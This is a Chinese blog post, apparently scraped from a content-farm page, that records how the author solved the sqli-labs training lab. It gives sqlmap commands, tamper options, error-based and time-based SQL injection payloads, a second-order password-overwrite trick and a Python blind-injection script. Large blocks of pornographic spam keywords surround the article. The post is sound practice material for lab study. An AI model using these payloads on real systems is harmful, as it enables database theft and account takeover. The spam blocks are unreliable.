日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

sqlmap使用_sqlmap于sql labs下使用

發布時間:2024/7/23 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 sqlmap使用_sqlmap于sql labs下使用 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

本文主要是寫sqlmap在sql labs下的使用學習記錄,目的在于模擬黑盒測試,不太在意原理。(當然,原理還是要學習好才這么干的。)

不得不說收獲還是蠻大的。首先推薦下sqlmap使用的學習視頻。

1-9:

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --batch

10:單獨的sleep(5)不起效果,

[http://127.0.0.1/sqlilabs/Less-10/?id=1%22and%20If(ascii(substr(database(),1,1))=114,1,sleep(5))--](http://127.0.0.1/sqlilabs/Less-10/?id=1"and If(ascii(substr(database(),1,1))=114,1,sleep(5))--)+python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-10/?id=1 --batch --level 3

11-17:

python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-16/ --data="uname=123&passwd=123&submit=Submit" --batch --dbs

18-22:賬號:Dumb,密碼:Dumb。sqlmap使用-r讀取請求包,在需要探測的地方加*,可以檢測出來漏洞點。

18:User Agent

python sqlmap.py -r ./target.txt --batch --level 5

19:Referer

20:cookie處

21:cookie(需要將注入語句base64加密,源代碼處有base64解密)

python sqlmap.py -r ./target.txt --batch --level 5 --tamper="base64encode.py"

22:cookie(21注入語句前綴后綴的單引號換成雙引號)

python sqlmap.py -r ./target.txt --batch --level 5 --tamper="base64encode.py"

python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-18/ -p “User-Agent” --batch --dbs --level 5 --thread 10 --technique E (此語句無效)

' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1

23:

python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-23/index.php?id=1

24:一個二次注入,且漏洞功能為修改原賬戶密碼。無法用sqlmap自動檢測。

注冊個賬戶admin’#,然后登入admin’#,然后修改密碼,然后原來admin的密碼就會被修改覆蓋

因為**修改密碼(功能)**處形成的 sql 語句是

UPDATE users SET passwd="New_Pass" WHERE username ='admin'#'xxxx

25:

python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-25/index.php?id=1 --batch

26-26a-27:

提示說空格和注釋

在 Windows 下會有無法用特殊字符代替空格的問題,這是 Apache 解析的問題,所以這里需要使用linux來進行搭建

window下可以使用加號(+,%2b)來代替空格,不過union兩邊有加號會報錯,因此只能選擇布爾盲注或者時間盲注。

//26-27 import requests url="http://192.168.2.82/sqlilabs/Less-26/?id=1'%26%26(ascii(substr(database(),{},1))={})||'1'='" result="" for i in range(1,10):for j in range(33,127):payload = url.format(i,j)r = requests.get(payload)r.encoding=r.apparent_encodingif "Dumb" in r.text:result += chr(j)print (result)break //26a url="http://192.168.2.82/sqlilabs/Less-26/?id=1')%26%26(ascii(substr(database(),{},1))={})||('1'='"//27a url="http://192.168.2.82/sqlilabs/Less-27a/?id=1"%26%26(ascii(substr(database(),{},1))={})||"1"=""//28-28a url="http://192.168.2.82/sqlilabs/Less-28/?id=1')%26%26(ascii(substr(database(),{},1))={})||('1'='"

29:

這題就有點意思了,HTTP參數污染。

服務器端有兩個部分:第一部分為 tomcat 為引擎的 jsp 型服務器,第二部分為 apache 為引擎的 php 服務器,真正提供 web 服務的是 php 服務器。在我們實際應用中,也是有兩層服務器的情況,那為什么要這么做?是因為我們往往在 tomcat 服務器處做數據過濾和處理,功能類似為一個 waf,由于解析參數機制的不同,我們此處可以利用該原理繞過 WAF 的檢測;數據解析順序:tomcat從前往后,apache從后往前

(雙同參數)

http://127.0.0.1/sqli-labs-master/Less-29/?id=1&id=0' union select 1,database(),3--+http://127.0.0.1/sqli-labs-master/Less-29/?id=1&id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3--+

30:29的單引號改為雙引號

31:29的單引號改為")

32-33:

寬字節注入,利用mysql使用GBK編碼,將兩個字符看成一個漢字的特性,消除轉移符號“、”,使單引號逃逸出來。這是每次黑盒測試都需要檢測的一個點。

python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-32/?id=1 --thread 10 --tamper="unmagicquotes.py" --batch

34:

python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-34/ --data="uname=123&passwd=123&submit=Submit" --thread 10 --tamper="unmagicquotes.py" --batch

35:

python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-35/?id=1 --batch

36:

python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-36/?id=1 --thread 10 --tamper="unmagicquotes.py" --batch

37:

python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-37/ --data="uname=123&passwd=123&submit=Submit" --thread 10 --tamper="unmagicquotes.py" --batch

38-41:

python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-38/?id=1 --batch

42-45:

(43同理,前綴變了)

這種東西,除非白盒測試,能夠看到源碼,否則想不出這數據庫名以及字段數。

login_user=test&login_password=1’;insert+into+users+values(44,‘Less32’,‘Less42’)–+&mysubmit=Login

login_user=test&login_password=1’+or+sysdate()-now()=0+and+sleep(1)=1–+&mysubmit=Login(我真是個小天才)我好像懂了sqlmap為什么會連接失敗了,超時了。

好吧,sqlmap能夠測出來,由于容易超時,因此容易在其中一步的詢問中問你要不要繼續(默認停止),此時你要手動點繼續。因此不能夠使用–batch參數。–time-sec=1

python sqlmap.py -r target.txt --flush-session --fresh-queries --time-sec=1

46-53:

python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-46/?sort=1 --batch

總結

  • 找注入點,最萬能的方法是在請求包后面加星號(*),然后用-r讀取。
  • 先測試什么都不加(只有—batch。如果很多連接失敗的報錯,則需要手動點擊繼續,不能使用—batch參數,同時設置盲注延遲時間–time-sec=1)
  • 第二步驟不行的話,level提升為4.
  • 第三步驟不行的話,使用腳本–tamper="unmagicquotes.py"進行寬字節注入。
  • 以上步驟都不行的話,自行使用腳本進行測試。判斷雙寫等waf攔截。或者雙同參數的HTTP參數污染。
    小腳本:

    import requests url="http://192.168.2.82/sqlilabs/Less-26/?id=1'%26%26(ascii(substr(database(),{},1))={})||'1'='" result="" for i in range(1,10):for j in range(33,127):payload = url.format(i,j)r = requests.get(payload)r.encoding=r.apparent_encodingif "Dumb" in r.text:result += chr(j)print (result)break

    心疼我相麻

    總結

    以上是生活随笔為你收集整理的sqlmap使用_sqlmap于sql labs下使用的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

    主站蜘蛛池模板: 在线看b| 天天宗合 | 亚洲国产剧情在线观看 | 人妻丰满熟妇无码区免费 | av播播 | 欲色av | 粉色视频网站 | 波多野结衣av在线观看 | 自拍偷拍福利视频 | 天堂免费av | 99久久99久久 | 欧美亚韩一区二区三区 | 久久1024| av先锋资源 | 天堂中文在线免费观看 | 久久久91 | 99久草 | av免费看网址 | 你懂的国产在线 | 日本打屁股网站 | 骚av在线 | 91桃色网站 | 麻豆成人久久精品一区二区三区 | 中文av一区二区三区 | 国内自拍偷拍网 | 欧美网站在线 | 久草资源| 欧美成人h版 | 特级性生活片 | 国产亚洲久久 | 亚洲av综合永久无码精品天堂 | 在线播放a | av日韩在线免费观看 | 久草一区二区 | 91最新地址永久入口 | 亚洲精品18p | 人人九九精品 | 欧美天堂在线视频 | 隣の若妻さん波多野结衣 | 成人a v视频 | 国产精品视频一二区 | 国产精品自拍第一页 | 都市激情第一页 | 黄色成人av网站 | 一区二区三区精彩视频 | 老熟女一区二区三区 | 国产综合精品在线 | 在线观看国产小视频 | 国产精品亚洲一区二区三区在线观看 | 女人喂男人奶水做爰视频 | 草莓视频成人在线 | 亚洲在线观看视频 | 日韩av色图| 国产一区在线免费观看 | 伊人久久免费视频 | 抱着老师的嫩臀猛然挺进视频 | 天天摸夜夜 | 亚洲欧美成人一区二区三区 | 免费爱爱网址 | 国产伦精品一区二区三区照片 | 喷水少妇 | 久久国产91 | 久久成人动漫 | 欧美色亚洲色 | 国产精品久久久影院 | 午夜视频福利在线观看 | 成人午夜在线观看 | 99久久久久无码国产精品 | 欧美日韩免费看 | a级片免费视频 | 伊人中文网 | 污视频在线免费观看 | 麻豆免费在线观看视频 | 午夜激情在线观看 | 天天操天天操 | 欧美精品一二三四 | 精品蜜桃一区二区三区 | 影音先锋在线视频观看 | 日韩欧美一区二区三区 | 天堂视频免费看 | 成人在线网站 | 国产精品免费看久久久无码 | 成人在线不卡视频 | 男女久久久 | 少妇久久久久久 | 福利社区一区二区 | 久久精品免费在线观看 | 聚色av | 日本理论视频 | 综合色视频 | 内射无码专区久久亚洲 | 91操操| 国产欧美日韩综合精品 | 国内精品视频在线播放 | 免费激情网址 | 深夜福利免费在线观看 | 一区二区乱码 | 欧美一区二区三区影院 | 自拍偷拍视频网站 |